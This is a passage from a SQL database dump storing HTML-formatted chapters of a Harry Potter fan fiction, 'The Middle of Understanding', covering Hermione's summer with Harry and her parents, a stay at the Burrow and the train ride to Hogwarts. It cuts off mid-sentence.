sat down at an empty table surrounded by dancers and busy tables. On the dance floor, I could see my parents gracefully move with the music. Harry notices them as well and smiled at their affections. Suddenly I remembered I hadn&#8217;t given Harry&#8217;s gift yet. Rosita and her band were drawing near the end of their song. So I got up and walk to the singer. She was in her forties with curly black hair. She had a few wrinkles surrounding her amber eyes. Rosita smiled at my request with her dark red lips. I looked behind to see Harry with confusion written on his face. With two steps, I reached the stage and towards the microphone.</p>\n<p>	&quot; Seniors and Senoritas. We have a special singer tonight. I introduce to you Hermione Granger!&quot; All eyes fell on me, including my parents and Harry. <i>Okay Granger, you got this far.</i></p><i>\n</i><p>            &quot; Thank you Rosita. Today is a very special day because it is my best friend&#8217;s birthday. He is 15 and we have known each other for 4 years now. I hope you like this.&quot; Swallowing the lump in my throat, I sang Fields of Gold by Sting. As I was singing, I saw several couples still dancing, which included my parents. Others were either listening or went back to their own conversations. Harry just sat there surprised with eyes wide open. Finishing the song I bowed from the applause, and thanked Rosita. I returned to find Harry still looking perplexed at me. Slowly I sat down, feeling a little hurt because he didn&#8217;t seem to like it. </p>\n\n\n<p>&quot;Was I that bad Harry?&quot; He grabbed my hand and did something unbelievable. He kissed it.</p>\n\n\n<p>            &quot; Between your amazing singing and Sirius&#8217;s present, I think this day will never be beaten by anything else.&quot; He gently brushed his thumb and glazed into my eyes.</p>\n<p>            &quot; I&#8217;m glad you enjoyed it.&quot; I nervously answered bowing my head. Then I felt a slight tug from my arm. I looked up to see Harry standing.</p>\n\n\n<p>&quot; Do you want to dance?&quot; He gave his most charming smile. <i>Oh he will make girls melt this year.</i></p><i>\n\n\n</i><p>            &quot; Why not, you never ask a girl to dance. I do not want to lose this chance.&quot; I answered following him to the dance floor.</p>\n<p>             &quot; Usually girls are not as beautiful as you.&quot; He boldly stated and wrapped his left arm around my waist. I stared dumbfounded at his statement. Never had I heard him say that to me. Searching his eyes for some answer, I received a wink and delicate pull towards him.</p>\n<p>             &quot; Thanks.&quot; We danced the night away without any difficulty or tension. The mood was perfect, worries gone, and only the two of us relishing the moment.</p>\n\n');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
	(239, 4, '\n\n<p>Disclaimer: Nope they are still not mine!</p>\n\n<p>Thank you everyone for giving me reviews on ff.net and portkey.org. I am really happy that people like my story and how I regard Hermione. I recently lost the person that rechecks my grammar. So if anyone is willing too, I would be utterly in your debt. This next chapter doesn&#8217;t seem as interesting as the ones before, but I needed it to fill in a gap. If it seems choppy, I am really sorry. Hope you enjoy and thanks again for reading.</p>\n\n<b><u><p align="CENTER">The Middle of Understanding</p>\n</u></b><p align="CENTER">Chapter 3</p>\n<b><p align="CENTER">Without Question</p>\n</b><p align="CENTER"></p>\n<p>	The next 3 weeks were spent carelessly around my house enjoying the summer. Every Wednesday and Friday, Harry and I would help my parents at the clinic with various tasks. Then we would all enjoy a lovely evening in the city. One night while my parents were out having dinner, I surprised Harry by making him dinner. I&#8217;m pleased to say he savored every morsel. Having arrangements settled with Dumbledore and the Weasleys, we were to travel to the Burrow in the next few days. My parents were sad but had plenty of other worries as well. Dad started acting overwhelming again and did everything with me. Bewildered, Harry was shocked to see me fence, paint, horseback, and play polo. Never having a son, dad treated Harry like his own. He brought him everywhere, gave him anything, and refused no as an answer. Instead of showing Harry off, mom consistently feed him food. Which was beneficial to him, because he gained a much-needed 10 pounds. Old clothes that my dad could not fit into were given to Harry. I thought he looked a lot handsomer without Dudley&#8217;s old T-shirts. </p>\n<p>	In the beginning, Harry was still very formal towards my parents. Whenever he was given anything, he would thank them endlessly. It was a week after his arrival when he started acting normally around them. I&#8217;ll never forget how ridiculous that incident was.</p>\n<p>	The four of us were outside working on the small garden my parents had. Mom was trimming the bushes and picking daisies. I was digging and planting for the next season to come, while my dad and Harry were rearranging the surrounding rocks and bricks for the garden. After 2 hours in the sun, we had finished for the summer. The left corner was left unplanted, leaving an area of dirt. Harry and my mom sat in lawn chairs while I tried to wash my hands with the hose.</p>\n<p>	&quot; This is useless,&quot; I said frustrated. &quot; Dad, I can not get any of this dirt out of my fingernails.&quot; Scoffing, I mumbled under my breath.</p>\n<p>	&quot; Nene, I don&#8217;t see why you are complaining.&quot; Mom fanned herself while drinking ice tea. &quot; When you were young, you would make mud pies.&quot;</p>\n<p>	&quot; Hermione making mud pies?&quot; Harry asked dumbfounded. &quot; She&#8217;s to clean to do that.&quot; Then they had a good laugh at my expense, when dad finally spoke.</p>\n<p>	&quot; Hermione does a lot in the mud Harry. Would you like to see?&quot; He evilly grinned at me. <i>Great Merlin save me. </i>Quicker then Harry can say Quidditch; I was pushed into the mud with the water hose on me. Again laughter was mixed in to the air and I was utterly a mess. <i>Might as well have fun. </i>Catching my dad off guard, I pulled him in also. Soon my father and I were wrestling in the mud. Deciding to be responsible, my mom walked over and told us to clean up. <i>There is one thing a Granger does, and that is never to let an opportunity pass you. </i>Firmly we pulled mom into the mud, and successfully got her dirty as well. </p>\n<p>	&quot; Douglas! Hermione! I am so disheveled. Look at the chaos, you two have made.&quot; As she was scolding us, we heard Harry chuckle in the background. &quot; What is so funny Mr. Potter?&quot;</p>\n<p>	Clearing his throat, he tried to answer seriously at the scene in front of him.  &quot; I just realize where Hermione inherits most of her charming personality.&quot; He said with wonderful tact. &quot; And the fact that you three look ridiculous helps.&quot; Harry started laughing harder, and was so busy that he didn&#8217;t notice us pull him in.</p>\n<p>	&quot; Ahhhh!&quot; He screamed as the cold water and mud hit him. &quot; Hermione I have mud in my ears.&quot; He whined trying to retreat away.</p>\n<p>	&quot; I don&#8217;t think so Potter.&quot; Soon war broke loose and only four muddy figures were seen rolling on the ground.</p>\n<p>	</p>\n<p>	The last night at my house was filled with a grand amount of people. The Jones sisters had convinced my mom to have a farewell party for Harry and I. By 4 the two were in the house giggling and gossiping with my mom. Meeting Harry for the first time, they had bombarded him with questions even Rita Skeeter wouldn&#8217;t dare ask. Blushing and trying to be polite, he answered as best as he could. Finally around 6:30, every guest arrived and packed into our house. William the balding Historian gave me the latest book in world history. Dolores the local chemist gave me the newest theories she was working on. Andrew, dad&#8217;s best friend and fencing partner, bought a set of swords for Harry and I to practice at school. Thoughtful gifts filled our kitchen table, and heartfelt comments were made. Being busy with guests, I didn&#8217;t have much time to introduce Harry. Luckily dad took it upon himself to be his guide. Soon the night ended, and the four of us sat in the newly lite living room. Harry gently swayed back and forth in the rocking chair, while I laid on the carpet floor. Dad was massaging my mother&#8217;s tired feet on the sofa. I felt like time was standing still so I could absorb the moment.</p>\n<p>	&quot; There is one thing, which makes me appreciate the Jones sisters.&quot; Dad commented spontaneously. </p>\n<p>	&quot; Oh, and what would that be Doug?&quot;</p>\n<p>	&quot; I get a good laugh after they leave.&quot; He chuckled to himself.</p>\n<p>	&quot; You are awful.&quot; My mom said shaking her head. </p>\n<p>	&quot; Can&#8217;t you two just be quite. I was enjoying the silence.&quot; I grumbled as my cheek pressed against the warm carpet.</p>\n<p>	&quot; Sunshine, I was about to give you your present. I guess I don&#8217;t need to anymore.&quot;</p>\n<p>	&quot; Daddy you can speak whenever you want.&quot; I swiftly answered, sitting up. Harry and my mom laughed at my response. My dad then handed me a small gift wrapped in gold paper.</p>\n<p>	&quot; This is from your mother and I. Think of it as an early birthday present.&quot; They leaned forward awaiting my reaction. I unwrapped the shiny paper to see a wooden box with a detailed craved orchid on top. <i>My favorite flower. </i>Opening it, I heard the sweet melody my parents use to sing to me as a child. <i>Oh Nene, you thought they never could understand you. </i>I looked up with tears in my eyes. </p>\n<p>	&quot; Thank you.&quot; <i>No words can describe my love. </i>I moved towards them and gave them a firm hug. </p>\n<p>	&quot; We are so proud of you Nene. Do not ever forget that.&quot; My mom slowly answered. <i>I&#8217;m going to miss this so much. </i>Pulling away, my dad walked over to Harry and handed him a small box.</p>\n<p>	&quot; Don&#8217;t worry we weren&#8217;t going to leave you out of it kido.&quot; He grinned with a humorous tone. Silently Harry opened the gift to see an old silver pocket watch. It was connected to a dark silver chain, which had an engraving on the back. <b>Time is spent with your own hands</b>, were written in small letters. &quot;It use to belong to my grandfather. I noticed you didn&#8217;t have a watch. Granddad always said a important man needed to know his time.&quot;</p>\n<p>	&quot; I&#8230;it&#8217;s&#8230;thank you.&quot; Harry stuttered out. Standing up he gave my father a hug.</p>\n<p>	&quot; You call that a hug. I think I need to teach you a Granger hug.&quot; He then pulled Harry into a tight embrace and leaned back, lifting Harry up.</p>\n<p>	&quot; Well Doug, I think it is time we go to bed.&quot; Yawning, my mom pulled away walking upstairs with my dad delicately pushing behind her. Harry then walked over and joined me on the couch. For several minutes we just sat there, listening to the fire burn.</p>\n<p>	&quot; I know why you miss them so much now.&quot; Harry finally spoke. &quot; I&#8217;m not sure how you could survive with out them.&quot; I stared into the orange flames.</p>\n<p>	&quot; It has been a hard process but I&#8217;ve had great company to help me.&quot; I smiled at him. Then it was quiet again, which Harry had been doing a lot. Our conversations would always have silent pauses. It wasn&#8217;t uncomfortable but he seemed to be thinking of something else all the time. &quot; Harry are you all right?&quot; I asked cautiously. He didn&#8217;t answer. &quot; I know there has been something occupying your mind. You don&#8217;t have to tell me but you might feel better if you do.&quot; <i>Don&#8217;t push me away Harry.</i></p><i>\n</i><p>	&quot; I&#8217;m worried.&quot; <i>Okay it&#8217;s a start. </i>Before I could reply, he continued on. &quot; He died Hermione, and I couldn&#8217;t do anything. What if someone else dies because of me? What if they kill people I really care about?  It&#8217;s all because of me that he&#8217;s doing this. Voldemort wants me yet he keeps hurting people I care for. Why can&#8217;t he just leave us alone? What did I&#8230;we deserve this?&quot; Harry surprisingly started crying into his hands. &quot; I keep thinking of when he&#8217;ll strike next because Ce&#8230;Cedric&#8217;s death was so sudden. What if he does it again? I don&#8217;t know if I could handle someone I care for dying.&quot; Even though his voice was muffled, I could hear him perfectly. Gently I wrapped my arms around his shoulder and pressed my head towards his. Quietly I sang him a song my mother would sing to me when I was upset. His crying soon eased and I softly spoke not to break his concentration on my voice.</p>\n<p>	&quot; Harry, you must remember one thing. None of this is your fault. Cedric did not die from your hands. He was murdered. Not by you but him! You have to understand this if you want to continue on. I do not know when or where he will strike. And I will not grantee he will not hurt again. But no matter what happens, it is not your fault. You are not the only one fighting him. You are not alone. Nor will you ever be alone again. No matter what happens, people will always be with you. I will always be with you.&quot; I grabbed his hand with mine and placed it over his heart.</p>\n<p>	&quot; You have always been here, Nene.&quot; He smiled sweetly.</p>\n<p>	&quot; When did you start calling me Nene?&quot; I narrowed my eyes.</p>\n<p>	&quot; When you tucked me into bed, only I&#8217;ve been saying it in my head for the past 3 weeks.&quot; He leaned back on to the couch, bringing me with him.</p>\n<p>	&quot; Well then, I guess you can call me that.&quot; I murmured with my head on his shoulder. </p>\n<p>	&quot; Thank you&#8230;for everything.&quot; He whispered in to my hair.</p>\n<p>	</p>\n<p>	The next morning was chaotic with things being moved downstairs and last minute adjustments. At 11:00 the doorbell rang and the familiar voice of Mr. Weasley was heard through the door. Opening the door stood a tall and thin-framed man. He looked older since I last saw him. <i>Probably because of Voldemorts return. </i>His red hairs seem to be less and was starting to gray. Behind him stood a very tall, Ron Weasley. His height surpassing his father&#8217;s, which was about 6 feet. He red hair seem to lighten into a unique orange. His brown eyes sparkled and scanned me from head to toe. He grinned in a boyish manner showing off his Weasley dimples. <i>Wow he looks different</i>.</p>\n<p>	&quot; Hermione,&quot; they spoke at once. Mr. Weasley gave me a quick hug and walked to Harry to do the same. Ron stared a while longer before embracing me with his long arms. &quot; You look great.&quot; He said rapidly. Then he moved to Harry, with a hug as well. I was glad to see that it was a genuine hug instead of pats on the back. After my parents spoke with Mr. Weasley, we moved our belongings into the Weasley&#8217;s new car. &quot; Bill got a raise.&quot; Ron answered without even us questioning. Before we were off Harry and I bid our farewells.</p>\n<p>	&quot; Thank you so much Doug, Belle. I really appreciate every thing you have done for me.&quot;</p>\n<p>	&quot; Anytime Harry, I am so glad I finally met you in person.&quot; My mom kissed him on the cheek.</p>\n<p>	&quot; Well kido I guess this is the end for now. Remember what I told you. It&#8217;ll come in handy this year.&quot; Dad winked at Harry. &quot; Now give me a hug like an old man like me deserves.&quot; He pulled Harry without any discomfort and tightly hugged him. Suddenly without notice Harry leaned back and lifted my dad. Laughing he stood up and smiled. &quot; Only Granger&#8217;s can use that. Luckily you are counted as one.&quot; I looked at Harry and saw a moist glimmer. He backed away allowing me time with my parents. We stood silently not knowing what to say.</p>\n<p>	&quot; I&#8230;Sunshine&#8230;Nene.&quot; We laughed as we spoke all at once. <i>I never liked leaving home.</i>  &quot; I guess I&#8217;ll go first. Mom, Dad, I&#8217;m going to miss you. Don&#8217;t worry, I&#8217;ll be careful. Whatever happens I&#8217;ll tell you, right away. That is a promise to both of you.&quot; I took both their hands into mine.</p>\n<p>	&quot; We will always worry Sunshine, because we are your parents. But only when you don&#8217;t answer our questions about your life. If we didn&#8217;t trust you or your judgment, you wouldn&#8217;t leave this house. Just remember one thing. You&#8217;re a Granger no matter if that means you&#8217;re the greatest witch or smartest muggle. I&#8217;m proud to have a daughter like you. Don&#8217;t let anyone tell you differently.&quot; He tightened his grip while brushing my loose hair behind my ears.</p>\n<p>	&quot; I know I shouldn&#8217;t be sad. You will be back for Christmas then Easter. I just don&#8217;t want you changing on me again. But we both know that it will happen. Nene no matter what happens this year or the next; you will always be my baby girl. There is no changing that fact. Just remember that we are here whenever you need us. No matter how grand or tiny it may be.&quot;</p>\n<p>	&quot; I love you, always will and never half way.&quot; We said together and we encircled into each other arms. Harry and I got into the car and settled into the departure. I turned around to wave goodbye and saw that familiar scene I saw at the airport. My father had his arm around my mother&#8217;s waist, yet this time it seemed to be supporting her from falling. She pulled on his shirt, to keep him near her. They waved goodbye without ever questioning why I would chose to leave again. As they became farther away, I faced forward to see Mr. Weasley chatting with Ron in the front seat. Harry sat next to me with his right hand near my left. Slowly the voices of Mr. Weasley and Ron talking disappeared. Harry&#8217;s occasional words didn&#8217;t even reach my ears. I was so lost in my own thoughts; I didn&#8217;t notice Harry&#8217;s hand on top of mine. I didn&#8217;t notice how Harry moved closer, letting his body heat mix with my cold one. I didn&#8217;t notice anything, but the voice of my father&#8217;s laughter and the humming of my mother&#8217;s sweet tone.</p>\n\n'),
	(239, 5, '\n\n<p>Disclaimer: Still not mine. </p>\n<p> </p>\n<p>I&#8217;m sorry to say that this chapter does not have much Harry/Hermione interaction. This chapter is actually one of the most personal to me, because of the situation Hermione is placed in. This chapter is important because it is a theme that will be seen throughout the story. Thank you for all the reviews and comments about my story. Also Big thanks to Jenn (aka Lady Raven) for editing this fic! Thank you for reading and I hope you enjoy.</p>\n\n<b><u><p align="CENTER">The Middle of Understanding</p>\n</u></b><p align="CENTER">Chapter 4</p>\n<b><p align="CENTER">Nice and Determined</p>\n</b><p align="CENTER"></p>\n<p>	When we arrived at the Burrow, we ended up doing our separate tasks. Ron and Harry would usually enjoy their afternoons playing Quidditch with the twins, Ginny, and Percy. Of course Percy would only play when he wasn&#8217;t busy with his urgent work. During the time, I would help Mrs. Weasley around the house or read my favorite book Hogwarts A: History. Nights were spent with Harry and Ron around the fireplace, laughing over jokes. Some times Ginny and I would stay up late in her room and just talk. I was able to have a real conversation without the rumors or gossips involved when talking to a girl. Occasionally Harry&#8217;s name did pop up but no ones perfect. </p>\n<p>	The day before we were to leave for school, I was left with Ron as my only company. Mr. Weasley and Percy were at work and wouldn&#8217;t be home until dinner. The twins had locked themselves in their room again, which would lead to sporadic explosions. Harry had just disappeared. He had mumbled about visiting Diagon Alley again, but I hadn&#8217;t seen him since breakfast. Ginny was outside with Mrs. Weasley fixing the wire that had broken over the fence. I was reading over my homework when Ron looked up from his work. </p>\n<p>	Since being reunited again, his attitude seem different to me. Harry said I was just imaging things. But I still wasn&#8217;t convinced. It wasn&#8217;t a dramatic change, but little details he did. His actions towards his sister seemed more affectionate. He didn&#8217;t complain as much when he was asked to do something. I didn&#8217;t even hear him complain about his family&#8217;s economic status. <i>Maybe Ron was growing up</i>.</p>\n<p>	&quot;Mione, can&#8217;t I just look at your charms paper? I swear I will not copy it.&quot; He pleaded with me<i>.</i> <i>Or maybe not.</i></p><i>\n</i><p><i>	</i>&quot;Ron if you wait until the last minute to do your homework that was assigned 3 months ago, I&#8217;m not going to help you cheat.&quot; I lectured in my best professional manner.</p>\n<p>	&quot;You&#8217;re going to be a perfect Prefect.&quot; He chuckled to himself.</p>\n<p>	&quot;I intend to be.&quot; I answered proudly.</p>\n<p>	&quot;Just don&#8217;t be another Percy. I don&#8217;t know if I could handle that.&quot; </p>\n<p>	&quot;I&#8217;ll try my best.&quot; I smiled at him. &quot; Ron?&quot; I asked curiously.</p>\n<p>	&quot;Uh huh.&quot; He said while working on his paper.</p>\n<p>	&quot;I&#8230;well&#8230;never mind.&quot; <i>Maybe Harry was right</i>. <i>I was probably just imagining his difference</i>.</p>\n<p>	&quot;What is it? You only stutter when you&#8217;re not sure of something and that rarely happens.&quot;</p>\n<p>	&quot;It doesn&#8217;t seem important now.&quot; I looked back towards my paper.</p>\n<p>	&quot;Spit it out or I&#8217;ll go crazy of what you wanted to say.&quot; He placed his quill down and looked into my eyes. <i>Okay Granger, you asked first.</i></p><i>\n</i><p>	&quot;I&#8217;ve just notice. I mean&#8230;why do you seem so different?&quot; <i>Great tact Hermione! Really and you thought yourself brilliant with the English language. </i></p><i>\n</i><p><i>	</i>&quot;What do you mean?&quot; He sat up on the floor.</p>\n<p>	&quot;Well you&#8217;ve been doing things that make you seem more mature. They&#8217;re nothing big, just little things. Like your attitude towards your family. Or how you treat Harry and me.&quot; I said while joining him on the floor.</p>\n<p>	&quot;Ah, I thought you were going to ask something else.&quot; I looked at him questionably. &quot; Nevermind, anyway the answer to your question is easy.&quot;</p>\n<p>	&quot;What is it?&quot;</p>\n<p>	&quot;After last your, you should know why. I mean I was jealous of my best friend when half the time he could have died. Things just seem a lot more important to me now. But look I&#8217;m still the quick tempered, loud, and sarcastic Ron. I just want to start learning how to be more responsible too.&quot; He fidgeted with his arms while explaining to me. </p>\n<p>	&quot;Okay I get the point.&quot; I nodded and stopped his pestering hand gestures. &quot; So what did you think I was going to ask?&quot;</p>\n<p>	&quot;Nothing at all.&quot; Then he sprinted towards the door, without a reply. <i>The little brat</i>. I got up to chase him when I ran into a familiar body.</p>\n<p>	&quot;Nene, why is Ron running away like he saw a three headed spider?&quot; Harry asked confusedly. </p>\n<p>	&quot;It&#8217;s&#8230;well I asked him something and he won&#8217;t tell me.&quot; I whined to Harry. &quot;Can you get him to tell me&#8230; please?&quot; I started pouting with my eyes wide open.</p>\n<p>&quot;Why aren&#8217;t you like this in front of anyone else?&quot;He strolled into the house carrying a bag with him.</p>\n<p>	&quot;Because this is Nene, and no one else knows Nene but my parents and you. Where did you go? What&#8217;s in the bag?&quot; We sat down in the living room, where I had left my work. </p>\n<p>	&quot;I went to Diagon Alley, don&#8217;t worry I met someone there, so I wasn&#8217;t alone.&quot; </p>\n<p>	&quot;Good.&quot; As I tried to peek into the bag.</p>\n<p>	&quot;Anyway I had to get something for your parents as a thank you gift.&quot; He took the bag away from my reach.</p>\n<p>	&quot;Harry, I&#8217;ve told you a million times. You do not have too.&quot; </p>\n<p>	&quot;I know, but I still wanted too. Besides it is from Sirius too.&quot;</p>\n<p>	&quot;You were meeting Sirius and you didn&#8217;t tell me.&quot;</p>\n<p>	&quot;We wanted it to be a surprise.&quot;</p>\n<p>	&quot;Still you should have told me or even Ron.&quot;</p>\n<p>	&quot;I actually told everyone but you.&quot; <i>Ouch </i> &quot; But again we wanted to surprise you and I actually wanted to meet with Sirius alone.&quot; Harry sincerely answered keeping eye contact with me. <i>Why would he want to meet with Sirius alone? Because he&#8217;s the only</i> <i>father figure he has. Great use of brains Hermione.</i> &quot;I&#8217;m sorry. This is from us.&quot; He handed me the bag with guilty eyes.</p>\n<p>	&quot;No I&#8217;m sorry Harry. I didn&#8217;t mean to be so rude. I understand that you would want time alone with Sirius. But don&#8217;t be afraid to tell me next time.&quot; I gave a small smile.</p>\n<p>	&quot;Look inside,&quot; he said running his hand through his hair. <i>Why is he nervous?</i>  I pulled the bag apart to see a beautiful black owl with spots of silver. It had translucent golden eyes and a smooth peach beak. I stared at the sleeping creature. &quot; I saw her and she reminded me of you.&quot;</p>\n<p>	&quot;Thank you, she&#8217;s beautiful.&quot; I opened the cage to stroke her soft feathers.</p>\n<p>	&quot;Now you can communicate with your parents as much as you want.&quot; He moved closer to me. &quot;What do you want to name her?&quot; </p>\n<p>	&quot;Nice,&quot; <i>she reminds me of summer nights.</i></p><i>\n</i><p><i>	</i>&quot;Why nice?&quot; Harry asked.</p>\n<p>	&quot;No not nice, Nice. I use to go there when I was younger. My mom&#8217;s uncle lived on a small estate by the River. I use to lay on the beach and look at the stars.&quot; I smiled to myself. <i>I miss those days</i>.</p>\n<p>	&quot;I&#8217;ll like to see it sometime. I can just picture miniature Hermione wishing on a star.&quot;</p>\n<p>	&quot;Don&#8217;t worry, I will definitely take you there. You would love the fresh air and scenery. Uncle Leroy would show you off in the town.&quot; Then it was silent again, as I remembered my childhood. I continued petting Nice and Harry just sat next to me with a buoyant grin.</p>\n\n<p>	There is only one word to describe the Weasley family: unpredictable. We were all eating breakfast and several discussions were happening. I was engrossed in my book when I head Mrs. Weasley squeal like a baby. Since our arrival the house was never this quite. I looked up to see a mid-twenties man with tan skin and distant freckles. He was the shortest Weasley but had the most athletic build. He bright red hair was in a shaggy mess everywhere. <i>Wow and I use to think being messy was bad.</i></p><i>\n</i><p>	&quot;Charlie!&quot; Everyone shouted at once. Then he spread his arms and each family ran into his embrace. Harry and I stood back letting the family have time with the 2nd son. Soon questions flew everywhere of what he was doing here?  Was he eating enough?  Did he bring gifts? Why he was wearing leather trousers?</p>\n<p>	&quot;Well before we start playing 20 questions, shouldn&#8217;t you lot have your trunks ready? I mean it is almost time to leave.&quot; Then chaos filled the house as people ran up and down, to gather their belongings. Being punctual I already had my things near the door. Harry offered to bring Nice in since Hedwig was still out of her cage. </p>\n<p>	&quot;Hermione, Hermione Granger?&quot; Charlie asked in a doubting tone.</p>\n<p>	&quot;Hi Charlie, how are you?&quot; I extended my hand to shake his.</p>\n<p>	&quot;I&#8217;m great. You look wonderful.&quot; He took my hand and pulled me into a hug instead. <i>Why is it that some families just like to hug?</i></p><i>\n</i><p><i>	</i>&lt; Cough, cough &gt; I heard Ron&#8217;s voice behind me. I turned to see a flushed face Ron and blank look from Harry. Charlie walked over to Ron, and said something, which caused him to blush immediately. Harry shrugged at my arched eyebrow and gave a hug to Charlie also. Once everyone was done, we placed all the belongings in to the car. &quot;I&#8217;m glad to see the money was well spent dad.&quot; Charlie patted Arthur on the back.</p>\n<p>	&quot;Red is our family color.&quot; Mr. Weasley beamed and walked towards the shiny red car. Our ride to Hogwarts Express was filled with stories told by Charlie. He was teaching Care of Magical Creatures until Hagrid would return to Hogwarts. Afterwards he would return to Romania and begin full leadership in Dragon care. Everyone listened whole heartily and love gleamed in their eyes. Even Percy gave his full attention to his older brother.</p>\n<p> After the hugs, kisses, and lectures about being good, each person went their own separate way. The twins met up with Lee Jordan to show off their latest inventions. Ginny was pulled away by her Ravenclaw friends, who probably wanted to hear about Harry. Ron, Harry, and I still stood on the platform chatting with other classmates. Dean Thomas and Seamus Finnigan told us about their adventure in Dublin and how they were attacked by herds of sheep. It wasn&#8217;t very amusing but Seamus&#8217;s Irish accent made it funnier too me. Katie Bell, Angelina Johnson, and Alicia Spinnet came over to tell Harry about which positions were open and voting for new captain. I tuned them out since they started arguing about Quidditch, and who was the best team. I let my eyes wander to see if I saw anyone else or if anyone changed over the summer. </p>\n<p>	Then my gaze ran into the platitmum blonde hair, which had too much gel. He had grown to Harry&#8217;s height and still had pale skin. Crabbe and Goyle stood behind him, blocking others who wanted to board the train. Surprisingly the two bodyguards had grown taller yet still seemed gargantuan. They had their black robes on which stood out in the colorful scheme of summer clothing. I was about to turn away when they started to board the train. But like always our eyes met. They were still gray with a puzzled study. <i>He didn&#8217;t recognize me with my new hair and clothes. </i>He was about to walk over when his gaze caught Harry&#8217;s. Then the look of disgust and hate resurfaced.</p>\n<p>	&quot;Come on Nene,&quot; Harry whispered into my ear. &quot; Everyone is boarding and Ron is getting us a compartment.&quot; I nodded and followed him in to the cabin. Opening my book, I stared blankly at the words.</p>\n<p>	So you&#8217;re probably wondering why I would look at Draco Malfoy. They boy who has been our enemy since our 1st year. Simply because of curiosity. Let me explain myself before you think I have lost my mind. Growing up reading, there was always the misunderstood or mistaken antagonist. Somehow through all the evil and disgust, he/she returns to good. Then from learning history, and how society works, we know all ideas and morals are passed down through time. So his ideals are not originally his right? I mean true evil can not just exist. There has to be a reason. I guess I&#8217;m curious to know why he hates us or me the muggle? What justification does he have? What makes him think he is better then me? Sometimes when I see him without all the angry, jealous, or charade, I see a young boy who maybe isn&#8217;t evil. He&#8217;s just lost in all the chaos of meaningless words and deficient actions.</p>\n<p>	I mentioned this once to Ginny when she caught me looking at him during the Yule Ball. She didn&#8217;t say much. Just that thinking like this leads to deadly mistakes and consequences. I didn&#8217;t push for her to explain. I knew it was meant to be about someone else. Maybe I do make things simple to allow myself to reason about the problem. Maybe I&#8217;m just a hopeless optimist. Or maybe Draco and people that think like him are right. Because I am a muggleborn, I don&#8217;t truly understand the fear, hatred, and power of magic. Not being surrounded by it since birth, I&#8217;ll never fully appreciate it. <i>Now that&#8217;s a scary thought.</i></p><i>\n</i><p>	&quot;Mione, stop reading and have fun. You&#8217;re probably 10 chapters ahead already and get us 20 points on the 1st day back.&quot; Ron exclaimed seating across from me. Harry just grinned at Ron&#8217;s hand waving. I smiled at his comment. <i>Maybe they are right but a problem never has only one answer. I&#8217;m always up for the challenge to find another solution.</i></p><i>\n</i><p>	&quot;Actually I was thinking 10, but since you said 20, I&#8217;ll stop to join you in your great confidence in me.&quot; I smirked with pure snootiness. </p>\n<p>	&quot;I&#8217;m so glad that you are giving us your precious time.&quot; He replied in a sarcasm manner.</p>\n<p>	&quot;Only for you Ron.&quot; I gave my fake smile. We both turned to see Harry laughing at us.</p>\n<p>	&quot;It&#8217;s good to see that nothing has changed between us.&quot;</p>\n<p>	An hour in to the ride, I was called away to my first Perfects meeting. I was happy to leave because Dean and Seamus had entered in debating about whom would win the Quidditch cup. At the front of the train, I walked into a massive compartment filled with people. Everyone expect the heads were in the cabin discussing various issues.</p>\n<p>	&quot;Hermione, I&#8217;m really happy you&#8217;re the other Gryffindor perfect.&quot; I turned around to see the shocking Neville Longbottom. He had grown over the summer but still had the baby fat around his face. His dark brown hair and eyes carried the air of nervousness. &quot; 5th years sit over there. I think we&#8217;re going to start soon.&quot; Filling the front rows, I recognized all of the 5th years and a couple of the 6th and 7th years. Terry Boot and Padma Patil from Ravenclaw sat next to Neville discussing Quidditch. <i>What a surprise! </i>Justin Fitch-Fletchly and Susan Bones from Hufflepuff were behind them. I caught fragments of Justin trying to explain the functions of a microwave. And sadly Millicent Bulstrode and Draco Malfoy from Slytherin sat behind me. Surprisingly they didn&#8217;t say a word.</p>\n<p>	After an hour and half of explanations, rules, and icebreakers, our meeting ended. Neville and I were returning to see what Harry and Ron were up too. Then I heard my surname being called. &quot;Granger, I didn&#8217;t think hair care and appearances was part of your talent as well. Do Potter and Weasel appreciate the new look?&quot; His eyes glimmered with amusement at his own joke and smiling arrogantly. &quot;But I think it is a waste of time. A mudblood like you won&#8217;t ever get anything.&quot; Draco voice turned acid and stepped closer towards my body.</p>\n<p>	&quot;Don&#8217;t call her that!&quot; Neville tried to defend me. </p>\n<p>	&quot;Shut up Longbottom.&quot; He pushed Neville&#8217;s chest, causing him to give a yelp. </p>\n<p>	&quot;What is going on out here?&quot; Roger Davis asked. &quot;Do I need to remind you that you are perfects now! Go back to your cabins.&quot; He said with great authority. <i>No wonder he was chosen as Headboy. </i>Davis closed the door and I helped Neville off the floor. As we left, I heard Draco&#8217;s voice.</p>\n<p>	&quot;What Granger? Have nothing to say. Did you finally realize your place?&quot; <i>Breathe Nene; remember what mom always said. They only are strong if you seem weak. </i>I turned half way, only letting him see my face. Raising my head and challenge in my eyes, I said to him. </p>\n<p>	&quot;The greatest pleasure in life is doing what people say you can&#8217;t.&quot; (From Jacy&#8217;s challenge called Simple Desire. Still more quotes to come in the future) I gave him a victory smile and walked away with Neville.</p>\n<p> I didn&#8217;t even look back when he said, &quot;Next time Granger.&quot; There was always a next time. He didn&#8217;t need to say it out loud to be known. But hopefully like this time, I can make him break. I won&#8217;t stop until they know that Hermione Granger is not just a know-it-all-muggle. I am a witch like everyone else. I am going to make a difference in this magical world if they like it or not.</p>\n\n<p>&nbsp;</p>\n<b><p>&nbsp;</p></b>\n\n'),
	(239, 6, '\n\n<p>Disclaimer: Not mine at all.</p>\n\n<p>I hope everyone is enjoying the story so far. This chapter is filled with Harry/Hermione to make up for the last one. Thank you for the reviews and comments. Big thanks to Jenn aka Lady Raven for editing for me. Hope you like and enjoy.</p>\n\n<b><u><p align="CENTER">The Middle of Understanding</p>\n</u></b><p align="CENTER">Chapter 5</p>\n<b><p align="CENTER">My Angel</p>\n</b><p align="CENTER"></p>\n<p>	I could hear the gentle beating of the tide washing ashore. The warm tickling sand lay beneath my body. Darkness and mystery surrounded my existence but the twinkling stars and round moon radiated light. I felt silver beams shimmer into my soul and sensitive shivers up my spine. &quot;Juliet, my angel the air is cool and water warm. Shall we have a midnight swim?&quot; An old memory asked.</p>\n<p>	&quot;Mama it tickles my feet.&quot; I said while dipping deeper into the dark water.</p>\n<p>	&quot;Then we shall dance with it instead.&quot; Laughter rang through the open air as my grandmother and I danced in the river. We were singing a local French song when the music changed. From a tender voice, it turned into a rowdy clicking noise.</p>\n<p>	ER&#8230;ER&#8230;ER&#8230; <i>Who invented the alarm clock?</i></p><i>\n</i><p>	I opened my eyes to see 